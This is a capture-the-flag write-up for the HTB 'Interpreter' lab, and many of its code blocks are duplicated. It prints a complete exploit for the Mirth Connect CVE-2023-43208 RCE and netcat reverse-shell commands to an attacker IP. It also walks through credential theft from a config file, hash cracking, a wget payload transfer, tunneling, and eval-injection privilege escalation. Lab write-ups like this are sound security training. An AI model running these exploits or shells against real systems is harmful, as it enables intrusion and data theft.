June 6, 2026
HTB Labs: Interpreter Writeup
As always, we start off with an nmap scan.
CradS
8 min read
sudo nmap -p- -sC -sV 10.129.104.109 -oA interpreter
Nmap scan report for 10.129.104.109
Host is up (0.038s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_ 256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp open http Jetty
|_http-title: Mirth Connect Administrator
| http-methods:
|_ Potentially risky methods: TRACE
443/tcp open ssl/http Jetty
|_http-title: Mirth Connect Administrator
| http-methods:
|_ Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after: 2075-09-19T12:50:05
|_ssl-date: TLS randomness does not represent time
6661/tcp open unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 277.16 secondssudo nmap -p- -sC -sV 10.129.104.109 -oA interpreter
Nmap scan report for 10.129.104.109
Host is up (0.038s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_ 256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp open http Jetty
|_http-title: Mirth Connect Administrator
| http-methods:
|_ Potentially risky methods: TRACE
443/tcp open ssl/http Jetty
|_http-title: Mirth Connect Administrator
| http-methods:
|_ Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after: 2075-09-19T12:50:05
|_ssl-date: TLS randomness does not represent time
6661/tcp open unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 277.16 secondsLet's take a look at ports 80 and 443.
Port 80:
Port 443:
Port 80 and 443 looks to be similar, with port 443 having an additional sign in functionality. Moreover, we notice that this webpage is using Mirth Connect.
CVE-2023–43208
To view detailed information about this vulnerability: https://horizon3.ai/attack-research/attack-blogs/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/
After a quick google search, Mirth Connect seems to have a recent vulnerability that targets versions before 4.4.1. With that information, let's attempt to find out the version. From the writeup above, simply accessing the /api/server/version endpoint with the X-Requested-With: OpenAPI header will allow us to enumerate the version of Mirth Connect used.
Great! The version of Mirth Connect used is 4.4.0, which means it is vulnerable to CVE-2023–43208.
From the writeup above, a proof of concept(PoC) was already provided.
import requests
from argparse import ArgumentParser
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PAYLOAD = """<sorted-set>
<string>abcd</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections4.functors.ConstantTransformer>
<iConstant class="java-class">java.lang.Runtime</iConstant>
</org.apache.commons.collections4.functors.ConstantTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>getMethod</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>[Ljava.lang.Class;</java-class>
</iParamTypes>
<iArgs>
<string>getRuntime</string>
<java-class-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>invoke</iMethodName>
<iParamTypes>
<java-class>java.lang.Object</java-class>
<java-class>[Ljava.lang.Object;</java-class>
</iParamTypes>
<iArgs>
<null/>
<object-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string><<COMMAND>></string>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
</iTransformers>
</target>
<methodName>transform</methodName>
<eventTypes>
<string>compareTo</string>
</eventTypes>
</handler>
</dynamic-proxy>
</sorted-set>
"""
def _escape_xml(str_xml):
str_xml = str_xml.replace('&', '&')
str_xml = str_xml.replace('<', '<')
str_xml = str_xml.replace('>', '>')
str_xml = str_xml.replace('"', '"')
str_xml = str_xml.replace("'", ''')
return str_xml
def main():
parser = ArgumentParser()
parser.add_argument('-u', '--url', required=True, help='Target URL')
parser.add_argument('-c', '--command', required=True, help='OS command to run')
args = parser.parse_args()
command = _escape_xml(args.command)
url = args.url.rstrip('/')
payload = PAYLOAD.replace('<<COMMAND>>', command)
print(f'Sending payload:\\n{payload}')
r = requests.post(f'{url}/api/users',
headers={'X-Requested-With': 'OpenAPI', 'Content-Type': 'application/xml'},
data=payload,
verify=False,
timeout=15)
print(f'Payload sent. Received status code: {r.status_code}')
if __name__ == '__main__':
main()import requests
from argparse import ArgumentParser
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PAYLOAD = """<sorted-set>
<string>abcd</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections4.functors.ConstantTransformer>
<iConstant class="java-class">java.lang.Runtime</iConstant>
</org.apache.commons.collections4.functors.ConstantTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>getMethod</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>[Ljava.lang.Class;</java-class>
</iParamTypes>
<iArgs>
<string>getRuntime</string>
<java-class-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>invoke</iMethodName>
<iParamTypes>
<java-class>java.lang.Object</java-class>
<java-class>[Ljava.lang.Object;</java-class>
</iParamTypes>
<iArgs>
<null/>
<object-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string><<COMMAND>></string>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
</iTransformers>
</target>
<methodName>transform</methodName>
<eventTypes>
<string>compareTo</string>
</eventTypes>
</handler>
</dynamic-proxy>
</sorted-set>
"""
def _escape_xml(str_xml):
str_xml = str_xml.replace('&', '&')
str_xml = str_xml.replace('<', '<')
str_xml = str_xml.replace('>', '>')
str_xml = str_xml.replace('"', '"')
str_xml = str_xml.replace("'", ''')
return str_xml
def main():
parser = ArgumentParser()
parser.add_argument('-u', '--url', required=True, help='Target URL')
parser.add_argument('-c', '--command', required=True, help='OS command to run')
args = parser.parse_args()
command = _escape_xml(args.command)
url = args.url.rstrip('/')
payload = PAYLOAD.replace('<<COMMAND>>', command)
print(f'Sending payload:\\n{payload}')
r = requests.post(f'{url}/api/users',
headers={'X-Requested-With': 'OpenAPI', 'Content-Type': 'application/xml'},
data=payload,
verify=False,
timeout=15)
print(f'Payload sent. Received status code: {r.status_code}')
if __name__ == '__main__':
main()This PoC requires the url and command parameters. Let's open a netcat listener and run the script with a reverse shell command.
rlwrap -cAr nc -lvnp 4444
python cve-2023-43208.py -u <https://10.129.104.109> -c 'nc 10.10.14.99 4444 -e /bin/bash'rlwrap -cAr nc -lvnp 4444
python cve-2023-43208.py -u <https://10.129.104.109> -c 'nc 10.10.14.99 4444 -e /bin/bash'For some reason, using the payload starting with
bash… does not work. This is probably due to some xml payload encoding.
Let's obtain a fully interactive shell using python
# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Kali
$ stty raw -echo; fg
# In reverse shell
$ reset
$ terminal type? pty
$ export TERM=xterm-256color
$ stty rows 51 cols 221# In reverse shell
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
# In Kali
$ stty raw -echo; fg
# In reverse shell
$ reset
$ terminal type? pty
$ export TERM=xterm-256color
$ stty rows 51 cols 221With the fully interactive shell, we can start to enumerate for credentials. After scouring the directories for a bit, we manage to find that the database used was mysql as well as some database credentials from /usr/local/mirthconnect/conf/mirth.properties.
In that case, let's see if we can find any users or passwords within the database.
mirth@interpreter:/usr/local/mirthconnect$ mysql -u mirthdb -p'MirthPass123!'mirth@interpreter:/usr/local/mirthconnect$ mysql -u mirthdb -p'MirthPass123!'Success! We managed to get into the mysql service.
Enumerating the database, we manage to find some credentials from the mc_bdd_prod database.
This password hash(base64 encoded) belonging to the user, sedric, seems to be quite unique. After a quick google search, we find that Mirth Connect 4.4+ defaults to PBKDF2WithHmacSHA256 with 600,000 iterations for user password hashing with a salt of 8 bytes.
In order to crack this hash using hashcat, we first have to format it to be consistent with how hashcat wants it.
Lesson Learnt:_ When dealing with encoding and bytes, always decode and use the bytes. Don't blindly count the number of characters from the base64 encoded string._
In order to obtain a base64 version of the salt, we have to get the first 8 bytes.
echo 'u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==' | tr -d '\n' | base64 -d | xxd
00000000: bbff 8b04 1394 9da7 62c8 506c 30ea 080c ........b.Pl0...
00000010: f2db 511d 2b93 9f64 1243 d4d7 b8ad 76b5 ..Q.+..d.C....v.
00000020: 5603 f90b 32dd f0fb V...2...echo 'u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==' | tr -d '\n' | base64 -d | xxd
00000000: bbff 8b04 1394 9da7 62c8 506c 30ea 080c ........b.Pl0...
00000010: f2db 511d 2b93 9f64 1243 d4d7 b8ad 76b5 ..Q.+..d.C....v.
00000020: 5603 f90b 32dd f0fb V...2...The first 8 bytes are: bbff8b0413949da7
Let's base64 encode this again.
echo 'bbff8b0413949da7' | tr -d '\n' | xxd -r -p | base64
u/+LBBOUnac=echo 'bbff8b0413949da7' | tr -d '\n' | xxd -r -p | base64
u/+LBBOUnac=Similarly, let's do the same for the remainder of the bytes, for the digest portion of the hash
echo '62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb' | tr -d '\n' | xxd -r -p | base64
YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=echo '62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb' | tr -d '\n' | xxd -r -p | base64
YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=With the base64 encoded salts and digests, we can format the hash for cracking with hashcat.
echo 'sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=' > hashes.txt
hashcat -a 0 -m 10900 hashes.txt /usr/share/wordlists/rockyou.txt
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD...Ld8Ps=
Time.Started.....: Sun Feb 22 13:47:28 2026 (2 mins, 29 secs)
Time.Estimated...: Sun Feb 22 13:49:57 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 73 H/s (14.96ms) @ Accel:155 Loops:1000 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 9920/14344385 (0.07%)
Rejected.........: 0/9920 (0.00%)
Restore.Point....: 9300/14344385 (0.06%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599000-599999
Candidate.Engine.: Device Generator
Candidates.#01...: bigboobs -> shaun1
Hardware.Mon.#01.: Util: 90%
Started: Sun Feb 22 13:47:26 2026
Stopped: Sun Feb 22 13:49:59 2026echo 'sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=' > hashes.txt
hashcat -a 0 -m 10900 hashes.txt /usr/share/wordlists/rockyou.txt
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 10900 (PBKDF2-HMAC-SHA256)
Hash.Target......: sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD...Ld8Ps=
Time.Started.....: Sun Feb 22 13:47:28 2026 (2 mins, 29 secs)
Time.Estimated...: Sun Feb 22 13:49:57 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........: 73 H/s (14.96ms) @ Accel:155 Loops:1000 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 9920/14344385 (0.07%)
Rejected.........: 0/9920 (0.00%)
Restore.Point....: 9300/14344385 (0.06%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:599000-599999
Candidate.Engine.: Device Generator
Candidates.#01...: bigboobs -> shaun1
Hardware.Mon.#01.: Util: 90%
Started: Sun Feb 22 13:47:26 2026
Stopped: Sun Feb 22 13:49:59 2026Hashcat managed to successfully crack the hash! Time to use this password to attempt an SSH login as sedric, because repeated use of passwords is apparent.
ssh sedric@10.129.104.109ssh sedric@10.129.104.109
cat /home/sedric/user.txtcat /home/sedric/user.txtLets use linpeas.sh to search for privilege escalation routes. For this, we need to transfer the linpeas.sh binary over to the target, and this is done using python http server.
For subsequent file transfers, this same method will be used.
# Attacker Host
python -m http.server 8081
# Target Host (SSH)
wget <http://10.10.14.99:8081/linpeas.sh>
# Target Host (SSH)
chmod +x linpeas.sh
./linpeas.sh -a# Attacker Host
python -m http.server 8081
# Target Host (SSH)
wget <http://10.10.14.99:8081/linpeas.sh>
# Target Host (SSH)
chmod +x linpeas.sh
./linpeas.sh -aFrom the output of linpeas.sh, we realize that there is a file owned by root but readable by sedric.
Let's take a closer look at /usr/local/bin/notif.py
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os
app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
# DOB format is DD/MM/YYYY
try:
year_of_birth = int(dob.split('/')[-1])
if year_of_birth < 1900 or year_of_birth > datetime.now().year:
return "[INVALID_DOB]"
except:
return "[INVALID_DOB]"
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''")
except Exception as e:
return f"[EVAL_ERROR] {e}"
@app.route("/addPatient", methods=["POST"])
def receive():
if request.remote_addr != "127.0.0.1":
abort(403)
try:
xml_text = request.data.decode()
xml_root = ET.fromstring(xml_text)
except ET.ParseError:
return "XML ERROR\\n", 400
patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
if patient is None:
return "No <patient> tag found\\n", 400
id = uuid.uuid4().hex
data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
path = os.path.join(USER_DIR,f"{id}.txt")
with open(path,"w") as f:
f.write(notification+"\\n")
return notification
if __name__=="__main__":
app.run("127.0.0.1",54321, threaded=True)#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os
app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
# DOB format is DD/MM/YYYY
try:
year_of_birth = int(dob.split('/')[-1])
if year_of_birth < 1900 or year_of_birth > datetime.now().year:
return "[INVALID_DOB]"
except:
return "[INVALID_DOB]"
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''")
except Exception as e:
return f"[EVAL_ERROR] {e}"
@app.route("/addPatient", methods=["POST"])
def receive():
if request.remote_addr != "127.0.0.1":
abort(403)
try:
xml_text = request.data.decode()
xml_root = ET.fromstring(xml_text)
except ET.ParseError:
return "XML ERROR\\n", 400
patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
if patient is None:
return "No <patient> tag found\\n", 400
id = uuid.uuid4().hex
data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
path = os.path.join(USER_DIR,f"{id}.txt")
with open(path,"w") as f:
f.write(notification+"\\n")
return notification
if __name__=="__main__":
app.run("127.0.0.1",54321, threaded=True)To summarize the code:
- There is a web app running on localhost port 54321
- Within the web app, we can make a POST request to
/addPatientwith XML body that contains the root<patient>tag with tagsfirstname,lastname,sender_app,timestamp,birth_date, andgender - The values of these tags must comply with the regex
^[a-zA-Z0-9._'\\"(){}=+/]+$ - Date of birth must have syntax
DD/MM/YYYY - The web app will take these information, and create a new file in
/var/secure-health/patients/with a randomid, containing the information provided.
We can verify that this python code is being run, as the server is listening on port 54321 on localhost.
In order to capture the localhost requests and response with BurpSuite, we need to pivot the packets so that we can connect to the web page through our attacker host instead of via the SSH connection. We will use ligolo-ng to do that.
Start the ligolo-ng proxy
sudo ./proxy -selfcertsudo ./proxy -selfcertTransfer the agent binary to the SSH session, give it execute permissions and connect with the agent
chmod +x agent
./agent -connect 10.10.14.99:11601 --ignore-certchmod +x agent
./agent -connect 10.10.14.99:11601 --ignore-certCreate an interface with the routing to 240.0.0.1/32 subnet as instructed in the ligolo-ng documentation: https://docs.ligolo.ng/Localhost/
After doing so, start the tunnel and we will have access to the web page through the ip address 240.0.0.1.
Now, let's try to use this web app legitimately by sending a POST request to the /addPatient endpoint.
It worked! Now let's review the code again to try and locate any vulnerabilities.
It seems that there is an eval function call, with the placeholder variable inside an f string.
return eval(f"f'''{template}'''")return eval(f"f'''{template}'''")This is dangerous as the placeholder variable (template) is user supplied and the eval function treats the string as python code.
The template variable comes from a concatenation of the XML supplied values.
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"These XML supplied values must comply with this regex pattern, in order to be accepted.
pattern = re.compile(r"^[a-zA-Z0-9._'\\"(){}=+/]+$")pattern = re.compile(r"^[a-zA-Z0-9._'\\"(){}=+/]+$")This means that within the XML tags, as long as it satisfies these rules, we can craft a python string that leads to code execution. Let's dig further.
import xml.etree.ElementTree as ET, osimport xml.etree.ElementTree as ET, osThis import statement imports the os library. That means that we can run shell code by using the os.system function. Moreover, the regex rule allows for characters and /. This means that we can create a malicious reverse shell and get the web app to execute it for us.
Create the malicious payload
# Target host
echo 'nc 10.10.14.99 4444 -e /bin/bash' > shell.sh
chmod +x shell.sh# Target host
echo 'nc 10.10.14.99 4444 -e /bin/bash' > shell.sh
chmod +x shell.shRe-open the netcat listener
rlwrap -cAr nc -lvnp 4444rlwrap -cAr nc -lvnp 4444Send the malicious POST request
With this, we have successfully escalated our privileges to the root user~
cat /root/root.txtcat /root/root.txt